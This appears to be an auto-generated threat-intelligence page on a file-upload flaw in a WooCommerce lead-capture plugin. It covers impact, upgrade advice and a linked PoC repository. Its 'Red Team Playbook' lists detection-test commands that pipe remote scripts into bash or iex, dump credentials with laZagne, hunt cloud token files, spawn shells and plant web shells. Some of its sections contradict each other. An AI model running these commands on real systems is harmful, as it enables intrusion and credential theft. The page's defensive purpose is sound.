CVE-2026-27540
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434. It arises from inadequate validation of uploaded file types within the Woocommerce Wholesale Lead Capture plugin by Rymera Web Co Pty Ltd. The affected component improperly handles file uploads, allowing potentially dangerous file types to be accepted without sufficient verification.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture woocommerce-wholesale-lead-capture allows Using Malicious Files.This issue affects Woocommerce Wholesale Lead Capture: from n/a through <= 2.0.3.1.
Impact
An unauthenticated attacker can exploit this vulnerability to upload malicious files to the server, potentially enabling remote code execution or server compromise. Since the attack vector is network accessible and requires no user interaction or privileges (AV:N/AC:H/PR:N/UI:N), it allows direct exploitation over the internet. This can lead to unauthorized access, data breaches, or disruption of service impacting business operations relying on the affected plugin.
Solution
To remediate this vulnerability, users should upgrade the Woocommerce Wholesale Lead Capture plugin to version 2.0.3.2 or later, where the unrestricted file upload flaw has been addressed. Detailed patch instructions and version information are available at the Patchstack advisory: https://patchstack.com/database/wordpress/plugin/woocommerce-wholesale-lead-capture/vulnerability/wordpress-woocommerce-wholesale-lead-capture-plugin-1-17-8-arbitrary-file-upload-vulnerability?_s_id=cve. Applying the update eliminates the insecure file upload mechanism.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the unrestricted upload of files with dangerous types in the Woocommerce Wholesale Lead Capture plugin poses a significant security risk. This issue arises from inadequate validation of file types during the upload process, allowing attackers to upload malicious files such as PHP scripts or executables. When these files are executed on the server, they can lead to unauthorized access, data breaches, or even complete server compromise. The affected versions of the plugin, up to 2.0.3.1, lack the necessary controls to restrict file uploads to safe types, making this vulnerability particularly concerning for e-commerce platforms relying on this plugin for lead capture.
Attack vectors exploiting this vulnerability are relatively straightforward. An attacker can craft a malicious file disguised as a legitimate document, such as an image or a PDF, and upload it through the plugin's interface. Once the file is uploaded, the attacker can access it via a direct URL, allowing them to execute arbitrary code on the server. This can lead to a variety of exploitation scenarios, including remote code execution, data theft, or the installation of backdoors for persistent access. Furthermore, the ease of exploitation means that even attackers with limited technical skills can leverage automated tools to target vulnerable installations, increasing the risk of widespread attacks.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on the Woocommerce platform for their e-commerce operations. Successful exploitation can lead to significant business risks, including financial losses, reputational damage, and legal liabilities. For instance, if sensitive customer data is compromised, businesses may face regulatory fines and loss of customer trust. Additionally, the presence of malware on a server can lead to further attacks, as compromised systems can be used to launch attacks against other networks or serve as a platform for distributing additional malicious content.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate any instances of the affected plugin in use. Keeping the plugin updated to the latest version is crucial, as updates often include security patches that address known vulnerabilities. Additionally, organizations should enforce strict file upload policies, including whitelisting allowed file types and implementing server-side checks to validate file content. Employing web application firewalls (WAFs) can also provide an additional layer of security by filtering out malicious traffic and blocking known attack patterns.
In conclusion, the unrestricted upload of files with dangerous types in the Woocommerce Wholesale Lead Capture plugin represents a critical vulnerability that can have far-reaching consequences for businesses. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies is essential to safeguard sensitive data and maintain the integrity of e-commerce operations. As cyber threats continue to evolve, proactive security measures will be paramount in protecting against vulnerabilities that can be easily exploited by malicious actors.
CSURFACE threat intelligence has identified a marked reduction in detection activity related to CVE-2026-27540, despite a slight increase in the Exploit Prediction Scoring System (EPSS) score. This divergence suggests that while exploitation attempts are currently less frequent or less detectable by our sensors, the underlying risk remains persistent due to the availability of proof-of-concept exploits publicly accessible on platforms such as GitHub. The stable yet elevated EPSS score indicates that threat actors continue to consider this vulnerability viable for exploitation, maintaining its critical status. For defenders, this nuanced shift underscores the importance of sustained vigilance; the reduced telemetry signals may reflect changes in attacker tactics or evasion techniques rather than a diminished threat. Consequently, the overall threat level remains high, as the vulnerability’s exploitability and impact potential have not materially decreased, and the presence of unauthenticated arbitrary file upload capabilities continues to pose a significant risk to affected WooCommerce installations.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
DeadExpl0it/CVE-2026-27540-WordPress-Exploit-PoC
PoC for CVE-2026-27540 - critical unauthenticated arbitrary file upload in WooCommerce Wholesale Lead Capture (WordPress...
|
DeadExpl0it | 1 | 0 | 2026-03-11 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-27540 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/woocommerce-wholesale-lead-capture/vulnerability/wordpress-woocommerce-wholesale-lead-capture-plugin-1-17-8-arbitrary-file-upload-vulnerability?_s_id=cve |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/woocommerce-wholesale-lead-capture/vulnerability/wordpress-woocommerce-wholesale-lead-capture-plugin-1-17-8-arbitrary-file-upload-vulnerability?_s_id=cve |